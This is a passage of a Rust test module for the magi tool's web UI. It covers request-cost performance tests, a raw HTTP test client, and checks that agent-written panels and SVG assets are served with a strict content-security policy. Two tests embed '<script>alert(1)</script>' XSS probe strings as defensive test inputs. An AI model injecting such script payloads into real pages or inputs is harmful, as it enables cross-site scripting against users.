10870    use pretty_assertions::assert_eq;
10871    use serde_json::Value;
10872    use tempfile::TempDir;
10873    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
10874
10875    use super::*;
10876    use crate::config::Config;
10877    use crate::queue::Source;
10878
10879    /// How many 10ms steps a settle loop takes before it calls a stall a
10880    /// stall - thirty seconds.
10881    ///
10882    /// These loops wait on real `sh` subprocesses, and the machine that runs
10883    /// the gate runs several suites at once, so a two-second budget was not
10884    /// waiting for the reply, it was racing the scheduler: two of these
10885    /// tests failed under that load with the turn simply not landed yet.
10886    /// This is a hang guard, not a latency assertion - every loop breaks the
10887    /// moment its condition holds, so a generous cap costs an idle machine
10888    /// nothing and still fails a genuine hang instead of hanging the suite.
10889    const SETTLE_STEPS: usize = 3_000;
10890
10891    /// A home with a queue and a runs directory, and a router serving it on
10892    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
10893    /// dependency, not ours - so the tests drive a real socket, which has the
10894    /// side benefit of asserting the status line and content types the phone
10895    /// actually receives.
10896    struct Fixture {
10897        home: TempDir,
10898        addr: SocketAddr,
10899    }
10900
10901    impl Fixture {
10902        async fn start() -> Self {
10903            Self::with_loop(launch_idle).await
10904        }
10905
10906        /// A fixture whose loop is `launch`.
10907        async fn with_loop(launch: Launch) -> Self {
10908            let home = TempDir::new().expect("temp home");
10909            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
10910            Self { home, addr }
10911        }
10912
10913        /// A fixture whose `ui.repo` is a real directory rather than the
10914        /// usual placeholder - for the routes that read config off it
10915        /// (`GET /api/repos`) and would otherwise have nothing to discover.
10916        async fn with_repo(repo: PathBuf) -> Self {
10917            let home = TempDir::new().expect("temp home");
10918            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
10919            Self { home, addr }
10920        }
10921
10922        /// As [`Fixture::with_repo`], with the machine-config file the
10923        /// settings screen reads and writes.
10924        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
10925            let home = TempDir::new().expect("temp home");
10926            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
10927            Self { home, addr }
10928        }
10929
10930        async fn serve(
10931            home: &FsPath,
10932            repo: PathBuf,
10933            launch: Launch,
10934            machine: Option<PathBuf>,
10935        ) -> SocketAddr {
10936            let queue = Queue::at(home.join("queue"));
10937            let runs = home.join("runs");
10938            std::fs::create_dir_all(&runs).expect("runs dir");
10939            let worktrees = home.join("wt").join("magi");
10940            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
10941            let ui = Ui::new(
10942                queue,
10943                Questions::at(home.join("questions")),
10944                Talks::at(home.join("talks")),
10945                runs,
10946                home.to_path_buf(),
10947                repo,
10948            )
10949            .with_worktrees_root(worktrees)
10950            .with_machine_config(machine)
10951            .with_launch(launch);
10952            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10953                .await
10954                .expect("bind loopback");
10955            let addr = listener.local_addr().expect("local addr");
10956            tokio::spawn(async move {
10957                let router = ui
10958                    .router()
10959                    .layer(axum::middleware::from_fn(request_cost::observe));
10960                let _ = axum::serve(listener, router).await;
10961            });
10962            addr
10963        }
10964
10965        fn queue(&self) -> Queue {
10966            Queue::at(self.home.path().join("queue"))
10967        }
10968
10969        fn questions(&self) -> Questions {
10970            Questions::at(self.home.path().join("questions"))
10971        }
10972
10973        fn talks(&self) -> Talks {
10974            Talks::at(self.home.path().join("talks"))
10975        }
10976
10977        fn runs(&self) -> PathBuf {
10978            self.home.path().join("runs")
10979        }
10980
10981        async fn get(&self, path: &str) -> Res {
10982            request(self.addr, "GET", path, None).await
10983        }
10984
10985        /// The status and headers without the body, which is how the front end
10986        /// preflights a panel: a sandboxed frame is opaque to the parent
10987        /// document, so the only way to tell "no panel" from "a panel that
10988        /// rendered blank" is to ask before mounting.
10989        async fn head(&self, path: &str) -> Res {
10990            request(self.addr, "HEAD", path, None).await
10991        }
10992
10993        async fn post(&self, path: &str, body: Option<&str>) -> Res {
10994            request(self.addr, "POST", path, body).await
10995        }
10996
10997        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
10998            request_with(self.addr, "GET", path, None, extra).await
10999        }
11000
11001        async fn delete(&self, path: &str) -> Res {
11002            request(self.addr, "DELETE", path, None).await
11003        }
11004
11005        async fn put(&self, path: &str, body: &str) -> Res {
11006            request(self.addr, "PUT", path, Some(body)).await
11007        }
11008
11009        /// `POST` a raw body with its own headers - see [`request_bytes`].
11010        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
11011            request_bytes(self.addr, path, headers, body).await
11012        }
11013    }
11014
11015    /// Real tracking refs exercise the successful discovery path (including
11016    /// extraction), rather than counting cheap failures on a placeholder repo.
11017    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
11018        let tmp = TempDir::new().unwrap();
11019        let mut repos = Vec::new();
11020        for name in ["one", "two"] {
11021            let repo = tmp.path().join(name);
11022            let origin = tmp.path().join(format!("{name}.git"));
11023            std::fs::create_dir_all(&repo).unwrap();
11024            crate::git::git(&repo, &["init", "-b", "main"])
11025                .await
11026                .unwrap();
11027            std::fs::write(
11028                repo.join("magi.toml"),
11029                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
11030            )
11031            .unwrap();
11032            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
11033            crate::git::git(
11034                &repo,
11035                &[
11036                    "-c",
11037                    "user.name=fixture",
11038                    "-c",
11039                    "user.email=fixture@example.invalid",
11040                    "commit",
11041                    "-m",
11042                    "fixture",
11043                ],
11044            )
11045            .await
11046            .unwrap();
11047            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
11048                .await
11049                .unwrap();
11050            crate::git::git(
11051                &repo,
11052                &["remote", "add", "origin", origin.to_str().unwrap()],
11053            )
11054            .await
11055            .unwrap();
11056            crate::git::git(&repo, &["push", "origin", "main"])
11057                .await
11058                .unwrap();
11059            crate::git::git(
11060                &repo,
11061                &[
11062                    "symbolic-ref",
11063                    "refs/remotes/origin/HEAD",
11064                    "refs/remotes/origin/main",
11065                ],
11066            )
11067            .await
11068            .unwrap();
11069            let (cfg, _) = Config::discover(&repo, None).unwrap();
11070            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
11071            repos.push(repo);
11072        }
11073        let repos: [PathBuf; 2] = repos.try_into().unwrap();
11074        (tmp, repos)
11075    }
11076
11077    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
11078        let (tmp, repos) = performance_repositories().await;
11079        let machine = tmp.path().join("machine.toml");
11080        std::fs::write(&machine, "").unwrap();
11081        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
11082        (tmp, repos, fx)
11083    }
11084
11085    fn seed_performance(
11086        fx: &Fixture,
11087        repos: &[PathBuf; 2],
11088        questions: usize,
11089        runs: usize,
11090        items: usize,
11091    ) {
11092        // Saving states directly never starts a run or changes MAGI_HOME.
11093        for i in fx.questions().list().len()..questions {
11094            let mut question = Question::new(
11095                "20261001-000000-0000".into(),
11096                "implement".into(),
11097                "impl-A".into(),
11098                format!("question {i}"),
11099                "context".into(),
11100                vec!["yes".into(), "no".into()],
11101            );
11102            question.id = format!("20261003-000000-{i:04x}");
11103            fx.questions().put(&mut question).unwrap();
11104        }
11105        for i in run_ids(&fx.runs()).len()..runs {
11106            write_run_repo(
11107                &fx.runs(),
11108                &format!("20261001-000000-{i:04x}"),
11109                RunStatus::Ready,
11110                repos[i % 2].to_str().unwrap(),
11111            );
11112        }
11113        for i in fx.talks().list().len()..items {
11114            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
11115            let mut talk = fx.talks().get(&id).unwrap();
11116            talk.repo = repos[i % 2].clone();
11117            fx.talks().put(&mut talk).unwrap();
11118            let mut task = crate::queue::Task::new(
11119                format!("task {i}"),
11120                "instruction".into(),
11121                repos[i % 2].clone(),
11122                crate::queue::Source::Agent {
11123                    run: id,
11124                    node: crate::queue::CHAT_NODE.into(),
11125                },
11126            );
11127            task.id = format!("20261004-000000-{i:04x}");
11128            fx.queue().put(&mut task).unwrap();
11129            // Notices has a production retention cap; seed up to that cap.
11130            if i < crate::notices::CAP {
11131                Notices::at(fx.home.path().join("notifications"))
11132                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
11133                    .unwrap();
11134            }
11135        }
11136        assert_eq!(fx.questions().list().len(), questions);
11137        assert_eq!(run_ids(&fx.runs()).len(), runs);
11138        assert_eq!(fx.talks().list().len(), items);
11139        assert_eq!(fx.queue().list().len(), items);
11140        assert_eq!(
11141            Notices::at(fx.home.path().join("notifications"))
11142                .list()
11143                .len(),
11144            items.min(crate::notices::CAP)
11145        );
11146    }
11147
11148    fn request_counts(res: &Res) -> (usize, usize) {
11149        assert_eq!(res.status, 200, "{}", res.body);
11150        (
11151            res.header("x-test-discoveries").unwrap().parse().unwrap(),
11152            res.header("x-test-git").unwrap().parse().unwrap(),
11153        )
11154    }
11155
11156    #[tokio::test]
11157    async fn list_request_cost_is_independent_of_record_count() {
11158        let (_tmp, repos, fx) = performance_fixture().await;
11159        let mut previous = None;
11160        for n in [4, 60] {
11161            seed_performance(&fx, &repos, n, n, n);
11162            let mut costs = Vec::new();
11163            for (path, discoveries) in [
11164                ("/api/questions", 1),
11165                ("/api/talks", 0),
11166                ("/api/health", 0),
11167                ("/api/stats", 1),
11168            ] {
11169                // Equal cold extraction caches at both scales; this also
11170                // bounds first-request cost instead of only warmed requests.
11171                for repo in &repos {
11172                    let cache = repo.join(".git/magi/config");
11173                    if cache.exists() {
11174                        std::fs::remove_dir_all(cache).unwrap();
11175                    }
11176                }
11177                let cost = request_counts(&fx.get(path).await);
11178                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
11179                assert_eq!(cost.0, discoveries, "{path}, N={n}");
11180                assert!(
11181                    cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
11182                    "{path}: {cost:?}"
11183                );
11184                costs.push(cost);
11185            }
11186            if let Some(previous) = previous {
11187                assert_eq!(costs, previous);
11188            }
11189            previous = Some(costs);
11190        }
11191        // runs reads shared row inputs and probes process liveness; queue
11192        // builds one blocker inventory; notifications reads its own store.
11193        // None discovers configuration or spawns git per item.
11194    }
11195
11196    /// The same handler path without transport, so the deterministic cause
11197    /// can also be checked in environments that prohibit binding sockets.
11198    #[tokio::test]
11199    async fn list_handler_cost_without_transport() {
11200        let (_tmp, repos) = performance_repositories().await;
11201        let fx = Fixture {
11202            home: TempDir::new().unwrap(),
11203            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11204        };
11205        let ui = Arc::new(
11206            Ui::new(
11207                fx.queue(),
11208                fx.questions(),
11209                fx.talks(),
11210                fx.runs(),
11211                fx.home.path().to_path_buf(),
11212                repos[0].clone(),
11213            )
11214            .with_worktrees_root(fx.home.path().join("wt")),
11215        );
11216        let mut previous = None;
11217        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
11218            seed_performance(&fx, &repos, n, runs, items);
11219            let mut costs = Vec::new();
11220            for endpoint in ["questions", "talks", "health", "stats"] {
11221                for repo in &repos {
11222                    let cache = repo.join(".git/magi/config");
11223                    if cache.exists() {
11224                        std::fs::remove_dir_all(cache).unwrap();
11225                    }
11226                }
11227                let (_, cost) = request_cost::measure(async {
11228                    match endpoint {
11229                        "questions" => {
11230                            let _ = questions_list(State(ui.clone())).await.unwrap();
11231                        }
11232                        "talks" => {
11233                            let _ = talks_list(
11234                                State(ui.clone()),
11235                                Query(ListQuery {
11236                                    limit: None,
11237                                    ids: None,
11238                                }),
11239                                header::HeaderMap::new(),
11240                            )
11241                            .await
11242                            .unwrap();
11243                        }
11244                        "health" => {
11245                            let _ = health(State(ui.clone())).await.unwrap();
11246                        }
11247                        _ => {
11248                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
11249                                .await
11250                                .unwrap();
11251                        }
11252                    }
11253                })
11254                .await;
11255                eprintln!("{endpoint} handler N={n}: {cost:?}");
11256                assert_eq!(
11257                    cost.0,
11258                    if matches!(endpoint, "talks" | "health") {
11259                        0
11260                    } else {
11261                        1
11262                    },
11263                    "{endpoint}"
11264                );
11265                assert!(
11266                    cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
11267                    "{endpoint}: {cost:?}"
11268                );
11269                costs.push(cost);
11270            }
11271            if let Some(previous) = previous {
11272                assert_eq!(costs, previous);
11273            }
11274            previous = Some(costs);
11275        }
11276    }
11277
11278    #[tokio::test]
11279    async fn list_request_cost_scopes_do_not_mix() {
11280        let (_tmp, repos, fx) = performance_fixture().await;
11281        seed_performance(&fx, &repos, 10, 0, 10);
11282        let (questions, talks, notices) = tokio::join!(
11283            fx.get("/api/questions"),
11284            fx.get("/api/talks"),
11285            fx.get("/api/notifications")
11286        );
11287        assert_eq!(request_counts(&questions).0, 1);
11288        // Cached summaries perform no config discovery or git work, even
11289        // alongside the questions request that still discovers config.
11290        assert_eq!(request_counts(&talks), (0, 0));
11291        assert_eq!(request_counts(&notices), (0, 0));
11292    }
11293
11294    #[tokio::test]
11295    async fn list_endpoints_large_home_responses() {
11296        check_large_home_endpoints(false).await;
11297    }
11298
11299    #[tokio::test]
11300    #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
11301    async fn list_endpoints_large_home_ceiling() {
11302        check_large_home_endpoints(true).await;
11303    }
11304
11305    async fn check_large_home_endpoints(timed: bool) {
11306        let (_tmp, repos, fx) = performance_fixture().await;
11307        seed_performance(&fx, &repos, 200, 300, 400);
11308        let mut failures = Vec::new();
11309        // app.js boot/change loads plus the initial dashboard, settings and
11310        // repo picker. SSE is a persistent stream, not a bounded GET.
11311        for path in [
11312            "/",
11313            "/app.js",
11314            "/app.css",
11315            "/api/questions",
11316            "/api/runs?limit=300",
11317            "/api/queue",
11318            "/api/talks",
11319            "/api/notifications",
11320            "/api/health",
11321            "/api/stats",
11322            "/api/loop",
11323            "/api/settings",
11324            "/api/repos",
11325        ] {
11326            let start = std::time::Instant::now();
11327            let result = if timed {
11328                tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
11329            } else {
11330                Ok(fx.get(path).await)
11331            };
11332            let elapsed = start.elapsed();
11333            eprintln!("{path}: {elapsed:?}");
11334            match result {
11335                Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
11336                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
11337                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
11338            }
11339        }
11340        assert!(failures.is_empty(), "{}", failures.join("\n"));
11341    }
11342
11343    struct Res {
11344        status: u16,
11345        headers: String,
11346        /// The header block with its original casing, for the assertions that
11347        /// compare a header *value* rather than looking for a name. Lowercasing
11348        /// a CSP would hide a directive spelled with a capital letter, and the
11349        /// whole point of that test is that the string is exactly right.
11350        head: String,
11351        body: String,
11352        /// The body before any UTF-8 handling, for the routes that serve
11353        /// something other than text. A panel asset is a PNG as often as not,
11354        /// and `from_utf8_lossy` would silently replace half of it.
11355        bytes: Vec<u8>,
11356    }
11357
11358    impl Res {
11359        fn json(&self) -> Value {
11360            serde_json::from_str(&self.body)
11361                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
11362        }
11363
11364        /// One header's value verbatim, or `None` when it was not sent.
11365        fn header(&self, name: &str) -> Option<&str> {
11366            self.head.lines().find_map(|line| {
11367                let (key, value) = line.split_once(':')?;
11368                key.trim()
11369                    .eq_ignore_ascii_case(name)
11370                    .then(|| value.trim_start().trim_end_matches('\r'))
11371            })
11372        }
11373    }
11374
11375    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
11376    /// be read to end-of-stream without parsing framing.
11377    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
11378        request_with(addr, method, path, body, &[]).await
11379    }
11380
11381    /// As [`request`], with extra request headers - conditional GETs need
11382    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
11383    /// worse than one that sets none.
11384    async fn request_with(
11385        addr: SocketAddr,
11386        method: &str,
11387        path: &str,
11388        body: Option<&str>,
11389        extra: &[(&str, &str)],
11390    ) -> Res {
11391        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11392        for (name, value) in extra {
11393            head.push_str(&format!("{name}: {value}\r\n"));
11394        }
11395        if let Some(body) = body {
11396            head.push_str("Content-Type: application/json\r\n");
11397            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
11398        }
11399        head.push_str("\r\n");
11400        if let Some(body) = body {
11401            head.push_str(body);
11402        }
11403        let mut socket = tokio::net::TcpStream::connect(addr)
11404            .await
11405            .expect("connect to the test server");
11406        socket
11407            .write_all(head.as_bytes())
11408            .await
11409            .expect("write request");
11410        let mut raw = Vec::new();
11411        socket.read_to_end(&mut raw).await.expect("read response");
11412        // Split on the raw bytes rather than on a lossy string, so a binary
11413        // body survives to be compared byte for byte.
11414        let split = raw
11415            .windows(4)
11416            .position(|w| w == b"\r\n\r\n")
11417            .expect("a header block");
11418        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11419        let bytes = raw[split + 4..].to_vec();
11420        let status = head
11421            .lines()
11422            .next()
11423            .and_then(|line| line.split_whitespace().nth(1))
11424            .and_then(|code| code.parse().ok())
11425            .expect("a status line");
11426        Res {
11427            status,
11428            headers: head.to_lowercase(),
11429            head,
11430            body: String::from_utf8_lossy(&bytes).into_owned(),
11431            bytes,
11432        }
11433    }
11434
11435    /// A `POST` carrying a raw binary body and its own headers, for the
11436    /// attachment upload route - `request_with` only ever sends
11437    /// `Content-Type: application/json`, which is wrong for an image and
11438    /// would corrupt anything not valid UTF-8 by round-tripping it through
11439    /// `&str` first.
11440    async fn request_bytes(
11441        addr: SocketAddr,
11442        path: &str,
11443        headers: &[(&str, &str)],
11444        body: &[u8],
11445    ) -> Res {
11446        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11447        for (name, value) in headers {
11448            head.push_str(&format!("{name}: {value}\r\n"));
11449        }
11450        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
11451        let mut socket = tokio::net::TcpStream::connect(addr)
11452            .await
11453            .expect("connect to the test server");
11454        socket
11455            .write_all(head.as_bytes())
11456            .await
11457            .expect("write request head");
11458        socket.write_all(body).await.expect("write request body");
11459        let mut raw = Vec::new();
11460        socket.read_to_end(&mut raw).await.expect("read response");
11461        let split = raw
11462            .windows(4)
11463            .position(|w| w == b"\r\n\r\n")
11464            .expect("a header block");
11465        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11466        let bytes = raw[split + 4..].to_vec();
11467        let status = head
11468            .lines()
11469            .next()
11470            .and_then(|line| line.split_whitespace().nth(1))
11471            .and_then(|code| code.parse().ok())
11472            .expect("a status line");
11473        Res {
11474            status,
11475            headers: head.to_lowercase(),
11476            head,
11477            body: String::from_utf8_lossy(&bytes).into_owned(),
11478            bytes,
11479        }
11480    }
11481
11482    /// A run on disk, without touching the process-global magi home.
11483    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
11484        let mut state = RunState::new(
11485            PathBuf::from("/repo/magi"),
11486            "main".to_owned(),
11487            "0123456789abcdef".to_owned(),
11488            "Add a web UI\n\nMobile first.".to_owned(),
11489            Config::default(),
11490        );
11491        state.id = id.to_owned();
11492        state.status = status;
11493        let dir = runs.join(id);
11494        std::fs::create_dir_all(&dir).expect("run dir");
11495        std::fs::write(
11496            dir.join("run.json"),
11497            serde_json::to_string_pretty(&state).expect("serialize run"),
11498        )
11499        .expect("write run.json");
11500    }
11501
11502    /// Same as [`write_run`], but against a named repository rather than the
11503    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
11504    /// spread across more than one.
11505    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
11506        let mut state = RunState::new(
11507            PathBuf::from(repo),
11508            "main".to_owned(),
11509            "0123456789abcdef".to_owned(),
11510            "task".to_owned(),
11511            Config::default(),
11512        );
11513        state.id = id.to_owned();
11514        state.status = status;
11515        let dir = runs.join(id);
11516        std::fs::create_dir_all(&dir).expect("run dir");
11517        std::fs::write(
11518            dir.join("run.json"),
11519            serde_json::to_string_pretty(&state).expect("serialize run"),
11520        )
11521        .expect("write run.json");
11522    }
11523
11524    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
11525        let body = serde_json::json!({
11526            "schema": 1,
11527            "pid": 4242,
11528            "started_at": Timestamp::now().to_string(),
11529            "updated_at": updated_at.to_string(),
11530            "idle": false,
11531            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
11532            "completed": 7,
11533            "polls": 143,
11534        });
11535        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
11536    }
11537
11538    /// A loop that starts, finds nothing to do, and waits to be told to stop.
11539    ///
11540    /// No test in this file may start the real loop - see [`Ui::launch`] for
11541    /// why - so this stands in for the only thing the routes need a loop to
11542    /// do: keep running until `Stop` is set, then return. A real
11543    /// `serve_until` here would resolve its queue and its status file through
11544    /// the process-global magi home, claim whatever it found in the
11545    /// operator's live backlog, overwrite the status file of the `magi serve`
11546    /// that owns it, and spend real agent quota on a real competition.
11547    fn launch_idle(
11548        _opts: daemon::Opts,
11549        stop: daemon::Stop,
11550    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11551        Box::pin(async move {
11552            while !stop.stopped() {
11553                tokio::time::sleep(Duration::from_millis(2)).await;
11554            }
11555            Ok(())
11556        })
11557    }
11558
11559    /// A loop that fails on the way up, the way one whose home has gone
11560    /// read-only does.
11561    fn launch_broken(
11562        _opts: daemon::Opts,
11563        _stop: daemon::Stop,
11564    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11565        // The stand-in dies instantly, so a restarted one can record its own
11566        // failure before the start's response is read. The second attempt
11567        // therefore fails with a different message, to tell a stale error
11568        // from a fresh one.
11569        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
11570        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
11571        Box::pin(async move {
11572            Err(anyhow::anyhow!(if first {
11573                "publish the daemon status file: read-only file system"
11574            } else {
11575                "the restarted stand-in failed as well"
11576            }))
11577        })
11578    }
11579
11580    /// The loop view once `want` accepts it.
11581    ///
11582    /// Polled rather than asserted straight after the POST because stopping
11583    /// is deliberately not instant - that is the contract - and rather than
11584    /// slept through because a fixed wait is either flaky or slow.
11585    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
11586    /// finite, so a genuine hang fails the test instead of hanging the
11587    /// suite.
11588    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
11589        for _ in 0..SETTLE_STEPS {
11590            let view = fx.get("/api/loop").await.json();
11591            if want(&view) {
11592                return view;
11593            }
11594            tokio::time::sleep(Duration::from_millis(10)).await;
11595        }
11596        panic!(
11597            "the loop never settled: {}",
11598            fx.get("/api/loop").await.json()
11599        );
11600    }
11601
11602    /// File an open question directly in the store the server reads.
11603    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
11604        let store = fx.questions();
11605        let mut q = Question::new(
11606            "20260902-000000-beef".to_owned(),
11607            "implement".to_owned(),
11608            "impl-A".to_owned(),
11609            summary.to_owned(),
11610            "because it matters".to_owned(),
11611            choices.iter().map(|c| (*c).to_owned()).collect(),
11612        );
11613        store.put(&mut q).expect("put question");
11614        q.id
11615    }
11616
11617    /// A question with a panel the server can serve, plus the named assets.
11618    ///
11619    /// Written through `Questions::put_panel` rather than by laying out the
11620    /// directory here, so these tests exercise the same on-disk shape the
11621    /// agents produce and cannot pass against a layout only the tests know.
11622    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
11623        let store = fx.questions();
11624        let mut q = Question::new(
11625            "20260902-000000-beef".to_owned(),
11626            "land".to_owned(),
11627            "fix".to_owned(),
11628            "Merge this?".to_owned(),
11629            "the diff is in the panel".to_owned(),
11630            vec!["merge".to_owned(), "hold".to_owned()],
11631        );
11632        // Staged outside the questions root, because `put_panel` copies from
11633        // wherever the agent left its files.
11634        let staging = fx.home.path().join("staging");
11635        std::fs::create_dir_all(&staging).expect("staging dir");
11636        let sources: Vec<PathBuf> = assets
11637            .iter()
11638            .map(|(name, bytes)| {
11639                let path = staging.join(name);
11640                std::fs::write(&path, bytes).expect("write staged asset");
11641                path
11642            })
11643            .collect();
11644        store
11645            .put_panel(&mut q, html, &sources)
11646            .expect("write the panel");
11647        store.put(&mut q).expect("put question");
11648        q.id
11649    }
11650
11651    /// A talk on disk, without talking to a model.
11652    ///
11653    /// Written as JSON straight into the store the server reads, because the
11654    /// only constructor `talk::begin` offers takes no turn but still requires
11655    /// a real caller-visible flow. The one thing this cannot make up is the
11656    /// seat, so it is built with the real `SeatState::new` and serialized -
11657    /// the alternative, hand-writing that object, would make these tests fail
11658    /// the day the seat gains a field.
11659    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
11660        seed_talk_at(&fx.talks(), id, status)
11661    }
11662
11663    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
11664        std::fs::create_dir_all(store.root()).expect("talks dir");
11665        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
11666            .expect("serialize a seat");
11667        let body = serde_json::json!({
11668            "schema": 1,
11669            "id": id,
11670            "repo": "/repo/magi",
11671            "agent": "mock",
11672            "status": status,
11673            "turns": [],
11674            "created_at": Timestamp::now().to_string(),
11675            "updated_at": Timestamp::now().to_string(),
11676            "seat": seat,
11677        });
11678        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
11679        store.get(id).expect("the seeded talk has to be readable");
11680        id.to_owned()
11681    }
11682
11683    #[tokio::test]
11684    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
11685        let fx = Fixture::start().await;
11686        let id = panel(
11687            &fx,
11688            "<h1>Merge?</h1><img src=\"diff.svg\">",
11689            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
11690        );
11691
11692        for path in [
11693            format!("/api/questions/{id}/panel"),
11694            format!("/api/questions/{id}/asset/diff.svg"),
11695        ] {
11696            let res = fx.get(&path).await;
11697            assert_eq!(res.status, 200, "{path}: {}", res.body);
11698            // The whole string, not a substring. A weakened directive - an
11699            // `img-src *` that lets a panel beacon out to a remote host, a
11700            // `script-src` anything, a missing `form-action` that lets it post
11701            // the owner's decision to a third party - has to fail here, and a
11702            // `contains` assertion would let every one of those through.
11703            assert_eq!(
11704                res.header("content-security-policy"),
11705                Some(
11706                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
11707                     font-src data:; base-uri 'none'; form-action 'none'; \
11708                     frame-ancestors 'self'"
11709                ),
11710                "{path} is the only thing between a hostile panel and the tailnet"
11711            );
11712            assert_eq!(
11713                res.header("x-content-type-options"),
11714                Some("nosniff"),
11715                "{path}: a browser must not re-decide the type we sent"
11716            );
11717            assert_eq!(
11718                res.header("referrer-policy"),
11719                Some("no-referrer"),
11720                "{path}: a panel must not leak the question id off the machine"
11721            );
11722
11723            // The front end mounts the frame only after a `HEAD` says the
11724            // panel is there, so `HEAD` has to answer with the same status and
11725            // the same policy as `GET` - a preflight that came back without
11726            // the CSP would mean a frame mounted on an unverified promise.
11727            let pre = fx.head(&path).await;
11728            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
11729            assert_eq!(
11730                pre.header("content-security-policy"),
11731                res.header("content-security-policy"),
11732                "{path}: the preflight carries the same policy"
11733            );
11734            assert_eq!(
11735                pre.header("content-type"),
11736                res.header("content-type"),
11737                "{path}: the preflight carries the same type"
11738            );
11739        }
11740    }
11741
11742    #[tokio::test]
11743    async fn a_panel_reaches_the_browser_byte_for_byte() {
11744        let fx = Fixture::start().await;
11745        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
11746        // tag, an entity, and a multi-byte character. The sandbox is what makes
11747        // this safe, so nothing here may be rewritten on the way out - a
11748        // rewritten diff is a diff the owner cannot trust.
11749        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
11750        let id = panel(&fx, html, &[]);
11751
11752        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
11753
11754        assert_eq!(res.status, 200);
11755        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
11756        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
11757        assert_eq!(
11758            res.header("content-disposition"),
11759            None,
11760            "the panel itself is rendered in the frame, not downloaded"
11761        );
11762    }
11763
11764    #[tokio::test]
11765    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
11766        let fx = Fixture::start().await;
11767        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
11768        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
11769        let id = panel(
11770            &fx,
11771            "<img src=\"diff.svg\"><img src=\"shot.png\">",
11772            &[("diff.svg", svg), ("shot.png", png)],
11773        );
11774
11775        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
11776        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
11777
11778        assert_eq!(as_svg.status, 200);
11779        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
11780        // An SVG is XML that may carry script. Inside the panel it is an
11781        // `<img src>` and the script cannot run; opened at the top level it
11782        // would be a document on magi's own origin, so the browser is told to
11783        // download it instead of rendering it.
